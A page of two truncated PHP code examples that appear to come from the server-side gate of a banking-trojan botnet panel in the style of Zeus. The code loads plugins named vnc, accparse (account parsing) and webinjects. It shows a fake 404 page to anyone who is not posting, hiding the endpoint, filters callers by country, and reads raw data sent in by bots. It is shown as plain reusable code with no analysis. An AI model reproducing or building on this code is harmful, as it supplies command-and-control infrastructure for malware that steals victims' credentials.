예제 #1
0
require_once 'system/gate/lib.php';
function die404($text = '')
{
    $sapi_name = php_sapi_name();
    if ($sapi_name == 'cgi' || $sapi_name == 'cgi-fcgi') {
        @header('Status: 404 Not Found');
    } else {
        @header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
    }
    die($text);
}
if (file_exists('system/gate/gate.plugin.404.php')) {
    require 'system/gate/gate.plugin.404.php';
}
if (@$_SERVER['REQUEST_METHOD'] !== 'POST') {
    die(function_exists('e404plugin_display') ? e404plugin_display() : die404('Not found'));
}
/* plugin: 404 */
if (function_exists('e404plugin_display') && !empty($config['allowed_countries_enabled'])) {
    # Analize IPv4 & Ban if needed
    if (connectToDb()) {
        $realIpv4 = trim(!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']);
        $country = ipv4toc($realIpv4);
        if (!e404plugin_check($country)) {
            die;
        }
    }
}
//Получаем данные.
$data = @file_get_contents('php://input');
$dataSize = @strlen($data);
예제 #2
0
ini_set('html_errors', 0);
error_reporting(E_ALL);
# Init
require_once 'system/global.php';
require_once 'system/config.php';
require_once 'system/gate/lib.php';
# Load libs
require_once 'system/lib/notify.php';
# Load plugins
foreach (array('vnc', 'accparse', '404', 'webinjects') as $plugin) {
    if (file_exists($f = "system/gate/gate.plugin.{$plugin}.php")) {
        include $f;
    }
}
if (@$_SERVER['REQUEST_METHOD'] !== 'POST') {
    die(function_exists('e404plugin_display') ? e404plugin_display() : '');
}
# Init logging
new GateLog(__FILE__ . '.log', GATE_DEBUG_MODE ? GateLog::L_TRACE : GateLog::L_NOTICE);
set_error_handler(array(GateLog::get(), 'php_error_handler'));
# DB connect
if (!connectToDb(MYSQL_PERSISTENT_MODE)) {
    gate_die('init', 'DB connection failed');
}
if (GATE_DEBUG_MODE) {
    error_reporting(E_ALL);
    GateLog::get()->log(GateLog::L_TRACE, 'init', 'STARTED>>>>>>');
    function _logshutdown()
    {
        GateLog::get()->log(GateLog::L_TRACE, 'init', '<<<<<<FINISHED');
        GateLog::get()->flush();